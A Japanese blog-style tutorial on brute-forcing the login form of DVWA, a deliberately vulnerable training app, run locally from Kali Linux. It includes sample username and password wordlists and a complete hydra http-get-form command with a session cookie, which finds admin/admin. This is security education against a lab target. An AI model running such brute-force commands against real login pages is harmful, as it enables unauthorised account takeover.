前提
- kali linux環境がある
- DVWAのセットアップ済み(https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c )
目標
- csrfでpassword奪取
手順概要
- 挙動の確認
- brute-forceアタック
- password盗む。
内容
brute-forceとは
- 総当たり攻撃
- ログインリクエストを機械的に送り込む。
- 文字を1つづつ変更し攻撃すれば、絶対にログイン情報が一致する時がくるのだが、時間がかかるので脆弱性のあるログイン情報をまとめたデータを用いてサクッと攻撃されたりもする
前準備
- DVWAにログインする
- 以下コードをkali上で実行しDVWAを立ち上げる。
- http://localhost/DVWA-master/index.php
- admin/passwordでログイン
- セキュリティレベルを下げる。
- メニュー下にあるDVWA securityへアクセス
- デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start
- brute-forceにアクセスする(左メニューにある)
brute-force開始
- 挙動を確認する
- 適当にログイン情報を入力してみる。(結果は以下画像)
-
ログイン動作の挙動から考察する
- url
- http://localhost/DVWA-master/vulnerabilities/brute/?username=hoge&password=hoge&Login=Login#。
- 入力したurlにusernameとpassとloginアクションフラグのクエリが乗っている
- このことから、これらクエリを乗っけたリクエストを投げることでログイン操作を模擬できることがわかる。
- ただ、リクエストを投げるだけではログインの可否判定はできない。
- エラーメッセージ
- Username and/or password incorrect.
- ログイン失敗したときのみに表示される文字であり、成功時はこの文字はないだろう。
- つまり、レスポンスのbody内に上部文字列がなければ成功したことになる
- url
-
hydraを使ってbrute-forceを実行する
- hydraは前述のロジックを良い感じにやってくれる。
- user.lstとpass.lstの辞書ファイルを準備する(web上に落ちてる。面倒なら自作してもいい)
- 以下コマンドを実行する
- 注意点:このページはこのサイト自体にログインされている前提なのでcookieを乗っけること。こcookieがない場合、トップのログインページにリダイレクトされる上レスポンスにはエラーメッセージがない結果、全て成功したように見える。(今回の場合、10.0.0.2で再度ログインし直している)
root@kali:~# cat pass.lst
usr
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
admin
root@kali:~# cat user.lst
root
sys
msfadmin
admin
user
service
postgres
tomcat
# hydra {domain} -L {user list file} -P {password list file} http-get-form {Path}:{query}:{fail message}:H={cookie}
# option は小文字にすると文字列指定。大文字だとファイル指定になる
root@kali:~# hydra 10.0.0.2 -L user.lst -P pass.lst http-get-form "/DVWA-master/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie:security=low; PHPSESSID=ar960cueqgt0o4r6k0b4jta30r"
Hydra............
[80][http-get-form] host: 10.0.0.2 login: admin password: admin
...........finished
- 最後に
- そもそもログイン情報をクエリに乗せていたら、リクエストを監視さえできれば取れてしまうのではと思った。
おわり